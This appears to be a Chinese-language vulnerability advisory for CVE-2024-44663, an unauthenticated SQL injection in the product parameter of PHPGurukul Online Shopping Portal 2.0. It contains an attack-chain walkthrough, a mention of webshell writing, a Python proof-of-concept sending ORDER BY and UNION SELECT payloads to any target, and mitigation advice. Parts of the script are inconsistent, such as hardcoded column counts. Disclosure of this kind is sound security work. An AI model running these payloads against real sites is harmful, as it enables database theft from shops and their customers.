IPBUF安全漏洞报告
English
CVE-2024-44663 CVSS 6.5 中危

CVE-2024-44663 PHPGurukul Online Shopping Portal 2.0 SQL注入漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2024-44663
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Online Shopping Portal 2.0

相关标签

SQL注入CVE-2024-44663PHPGurukulOnline Shopping PortalWeb应用安全数据库漏洞search-result.php电商系统漏洞无需认证CVSS 6.5

漏洞概述

CVE-2024-44663是PHPGurukul Online Shopping Portal 2.0中的一个中等严重性安全漏洞。该漏洞位于购物门户的搜索功能模块,具体在search-result.php文件中的product参数存在SQL注入缺陷。攻击者无需任何认证即可利用此漏洞,通过在product参数中注入恶意SQL语句,可以未经授权访问数据库中的敏感信息,包括用户账户数据、订单信息、商品数据和系统配置信息等。由于该漏洞的攻击复杂度较低且不需要用户交互,因此具有较高的实际威胁性。PHPGurukul Online Shopping Portal是一款开源的电子商务解决方案,广泛应用于中小型企业的在线销售平台搭建,其用户群体包括众多零售商家和初创电商企业。该SQL注入漏洞的存在可能导致大量用户隐私数据泄露,对企业和终端用户造成严重的经济损失和信誉损害。

技术细节

该SQL注入漏洞源于search-result.php文件对用户输入的product参数缺乏有效的输入验证和SQL语句预处理。攻击者可以通过构造特殊的SQL payloads绕过前端过滤机制,直接将恶意SQL代码注入到底层数据库查询语句中。漏洞利用的关键在于利用UNION SELECT语句联合查询技术,通过确定数据库列数后,攻击者可以逐步提取数据库中的敏感表结构信息。典型的利用方式包括:使用ORDER BY语句确定查询字段数量,随后使用UNION语句结合NULL或数字值填充列位,最终通过CONCAT、CHAR等函数提取数据库版本信息、用户表结构、账户凭证等敏感数据。在某些配置下,攻击者还可能利用INTO OUTFILE语句将webshell写入服务器,实现远程代码执行。由于该应用可能以高权限数据库账户运行,攻击者甚至可能获取操作系统级别的访问权限。防御此类漏洞的最佳实践是使用参数化查询(Prepared Statements)或ORM框架,避免直接拼接用户输入到SQL语句中。

攻击链分析

STEP 1
步骤1
信息收集阶段:攻击者识别目标网站使用的技术栈,确认其为PHPGurukul Online Shopping Portal 2.0,并定位search-result.php页面
STEP 2
步骤2
漏洞探测阶段:攻击者对product参数进行初步测试,使用单引号(')触发SQL语法错误,确认注入点存在
STEP 3
步骤3
列数枚举阶段:使用ORDER BY语句逐步增加列数,通过错误信息或响应差异确定原始查询的列数
STEP 4
步骤4
联合查询阶段:构造UNION SELECT语句,利用NULL或数字值填充列位,使恶意查询与原查询结果集合并
STEP 5
步骤5
数据提取阶段:通过替换UNION SELECT中的字段,提取数据库版本(database()、version())、表结构信息、用户凭证等敏感数据
STEP 6
步骤6
权限提升与持久化阶段:在获取数据库访问权限后,攻击者可能尝试写入webshell获取服务器shell访问权限,或提取更多用户账户数据用于后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-44663 SQL Injection PoC # Target: PHPGurukul Online Shopping Portal 2.0 # Vulnerability: SQL Injection in search-result.php product parameter import requests import sys target = input("Enter target URL (e.g., http://target.com): ").rstrip('/') # Step 1: Determine number of columns using ORDER BY def find_columns(): for i in range(1, 20): payload = f"' ORDER BY {i}-- -" url = f"{target}/search-result.php" params = {"product": payload} try: response = requests.get(url, params=params, timeout=10) if "Unknown column" not in response.text: print(f"[+] Found {i-1} columns") return i - 1 except Exception as e: print(f"[-] Error: {e}") return 0 # Step 2: Extract database information using UNION injection def extract_db_info(columns): nulls = ','.join(['NULL'] * columns) payloads = [ f"' UNION SELECT {nulls}-- -", f"' UNION SELECT {nulls} FROM dual-- -", ] # Extract database version version_payload = f"' UNION SELECT NULL,@@version,NULL,NULL,NULL-- -" url = f"{target}/search-result.php" params = {"product": version_payload} try: response = requests.get(url, params=params, timeout=10) if "5." in response.text or "8." in response.text: print("[+] Database version extracted successfully") # Extract current database and user db_payload = f"' UNION SELECT NULL,database(),user(),version(),NULL-- -" params = {"product": db_payload} response = requests.get(url, params=params, timeout=10) print("[+] Attempted database information extraction") except Exception as e: print(f"[-] Error during extraction: {e}") if __name__ == "__main__": print("CVE-2024-44663 SQL Injection PoC") print("=" * 40) columns = find_columns() if columns > 0: extract_db_info(columns) else: print("[-] Could not determine column count")

影响范围

PHPGurukul Online Shopping Portal 2.0

防御指南

临时缓解措施
立即在search-result.php文件中的SQL查询实现参数化查询,将product参数值作为预编译语句的参数传递。对用户输入进行严格的类型检查和特殊字符转义,移除单引号、分号、UNION等SQL关键字。对于生产环境,建议临时使用WAF规则拦截包含SQL注入特征的请求,同时联系官方获取安全补丁或考虑迁移到更安全的电商平台。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表